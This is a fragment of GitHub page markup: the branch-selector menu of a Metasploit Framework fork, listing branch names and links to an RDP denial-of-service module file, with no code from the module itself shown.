class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/jvazquez-r7-zenworks_preboot_op6c_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="jvazquez-r7-zenworks_preboot_op6c_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="jvazquez-r7-zenworks_preboot_op6c_bof">jvazquez-r7-zenworks_preboot_op6c_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/kernelsmith-post_file_rename2/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="kernelsmith-post_file_rename2" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="kernelsmith-post_file_rename2">kernelsmith-post_file_rename2</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/kingview_kingmess_kvl/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="kingview_kingmess_kvl" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="kingview_kingmess_kvl">kingview_kingmess_kvl</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/kloxo_lxsuexec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="kloxo_lxsuexec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="kloxo_lxsuexec">kloxo_lxsuexec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/linksys_e1500_more_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="linksys_e1500_more_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="linksys_e1500_more_work">linksys_e1500_more_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/linksys_m1k3_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="linksys_m1k3_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="linksys_m1k3_work">linksys_m1k3_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/linksys_wrt54gl_exec_try_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="linksys_wrt54gl_exec_try_fix" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="linksys_wrt54gl_exec_try_fix">linksys_wrt54gl_exec_try_fix</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/linksys_wrt54gl_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="linksys_wrt54gl_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="linksys_wrt54gl_work">linksys_wrt54gl_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/load_runner_research/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="load_runner_research" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="load_runner_research">load_runner_research</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/local_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="local_cleanup" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="local_cleanup">local_cleanup</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="master" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="master">master</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/master-web-modules/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="master-web-modules" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="master-web-modules">master-web-modules</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/maxthon/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="maxthon" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="maxthon">maxthon</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/maxthon_history_xcs_cleanup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="maxthon_history_xcs_cleanup" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="maxthon_history_xcs_cleanup">maxthon_history_xcs_cleanup</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/mediawiki_svg/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="mediawiki_svg" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="mediawiki_svg">mediawiki_svg</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/meterpreter-submodule/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="meterpreter-submodule" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="meterpreter-submodule">meterpreter-submodule</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/miniupnp_dos_clean/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="miniupnp_dos_clean" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="miniupnp_dos_clean">miniupnp_dos_clean</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/mipsbe_elf/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="mipsbe_elf" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="mipsbe_elf">mipsbe_elf</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/mipsle_elf_support/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="mipsle_elf_support" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="mipsle_elf_support">mipsle_elf_support</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/moinmoin_restore/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="moinmoin_restore" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="moinmoin_restore">moinmoin_restore</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/moinmoin_twikidraw/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="moinmoin_twikidraw" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="moinmoin_twikidraw">moinmoin_twikidraw</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/morisson-master/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="morisson-master" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="morisson-master">morisson-master</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/mrmee-cmdsnd_ftp_exploit/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="mrmee-cmdsnd_ftp_exploit" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="mrmee-cmdsnd_ftp_exploit">mrmee-cmdsnd_ftp_exploit</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/mrmee-module-CVE-2011-2110/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="mrmee-module-CVE-2011-2110" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="mrmee-module-CVE-2011-2110">mrmee-module-CVE-2011-2110</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ms09-022/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ms09-022" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ms09-022">ms09-022</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ms12-005_mod/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ms12-005_mod" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ms12-005_mod">ms12-005_mod</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ms13_005_hwnd_broadcast/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ms13_005_hwnd_broadcast" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ms13_005_hwnd_broadcast">ms13_005_hwnd_broadcast</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ms13_009_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ms13_009_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ms13_009_work">ms13_009_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ms13_037_svg_dashstyle/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ms13_037_svg_dashstyle" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ms13_037_svg_dashstyle">ms13_037_svg_dashstyle</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/mubix-ask_localport/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="mubix-ask_localport" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="mubix-ask_localport">mubix-ask_localport</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/mubix-tcpnetstat/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="mubix-tcpnetstat" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="mubix-tcpnetstat">mubix-tcpnetstat</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/mutiny_subnetmask_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="mutiny_subnetmask_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="mutiny_subnetmask_exec">mutiny_subnetmask_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/nagios_nrpe_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="nagios_nrpe_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="nagios_nrpe_work">nagios_nrpe_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/netcat_gaping/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="netcat_gaping" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="netcat_gaping">netcat_gaping</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/netcat_note/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="netcat_note" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="netcat_note">netcat_note</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/netcat_openbsd/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="netcat_openbsd" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="netcat_openbsd">netcat_openbsd</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/netcat_payloads/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="netcat_payloads" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="netcat_payloads">netcat_payloads</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/netgear_review/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="netgear_review" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="netgear_review">netgear_review</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/netiq_pum_eval/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="netiq_pum_eval" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="netiq_pum_eval">netiq_pum_eval</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/nginx_got_dereferencing/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="nginx_got_dereferencing" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="nginx_got_dereferencing">nginx_got_dereferencing</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/notes_handler_cmdinject/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="notes_handler_cmdinject" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="notes_handler_cmdinject">notes_handler_cmdinject</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/novell_client_nicm/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="novell_client_nicm" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="novell_client_nicm">novell_client_nicm</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/novell_client_nwfs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="novell_client_nwfs" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="novell_client_nwfs">novell_client_nwfs</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/novell_edirectory_ncp_bof/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="novell_edirectory_ncp_bof" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="novell_edirectory_ncp_bof">novell_edirectory_ncp_bof</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/novell_groupwise_gwcls1_actvx/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="novell_groupwise_gwcls1_actvx" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="novell_groupwise_gwcls1_actvx">novell_groupwise_gwcls1_actvx</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/olliwolli-sharepointadfs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="olliwolli-sharepointadfs" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="olliwolli-sharepointadfs">olliwolli-sharepointadfs</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/openemr_upload_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="openemr_upload_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="openemr_upload_exec">openemr_upload_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/openpli_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="openpli_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="openpli_work">openpli_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/oracle_webcenter_actvx/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="oracle_webcenter_actvx" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="oracle_webcenter_actvx">oracle_webcenter_actvx</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/osvdb_93696/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="osvdb_93696" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="osvdb_93696">osvdb_93696</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/osvdb_flashchat/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="osvdb_flashchat" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="osvdb_flashchat">osvdb_flashchat</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/osvdb_refs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="osvdb_refs" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="osvdb_refs">osvdb_refs</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/outpost_local/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="outpost_local" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="outpost_local">outpost_local</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ovftool_format_string_browser/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ovftool_format_string_browser" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ovftool_format_string_browser">ovftool_format_string_browser</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/ovftool_format_string_fileformat/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="ovftool_format_string_fileformat" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="ovftool_format_string_fileformat">ovftool_format_string_fileformat</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/pcanywhere_login/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="pcanywhere_login" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="pcanywhere_login">pcanywhere_login</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/persistence_vbs/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="persistence_vbs" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="persistence_vbs">persistence_vbs</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/php_cgi_arg_injection_plesk/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="php_cgi_arg_injection_plesk" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="php_cgi_arg_injection_plesk">php_cgi_arg_injection_plesk</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/php_wordpress_total_cache/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="php_wordpress_total_cache" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="php_wordpress_total_cache">php_wordpress_total_cache</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/phpldapadmin_fix/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="phpldapadmin_fix" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="phpldapadmin_fix">phpldapadmin_fix</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/pineapp_ldapsyncnow_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="pineapp_ldapsyncnow_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="pineapp_ldapsyncnow_exec">pineapp_ldapsyncnow_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/pineapp_livelog_exec/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="pineapp_livelog_exec" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="pineapp_livelog_exec">pineapp_livelog_exec</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/post_download_exec_work/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="post_download_exec_work" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="post_download_exec_work">post_download_exec_work</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a href="/jvazquez-r7/metasploit-framework/blob/post_mod_setup/modules/auxiliary/dos/windows/rdp/ms12_020_maxchannelids.rb" + data-name="post_mod_setup" + data-skip-pjax="true" + rel="nofollow" + class="js-navigation-open select-menu-item-text js-select-button-text css-truncate-target" + title="post_mod_setup">post_mod_setup</a> + </div> <!-- /.select-menu-item --> + <div class="select-menu-item js-navigation-item "> + <span class="select-menu-item-icon octicon octicon-check"></span> + <a 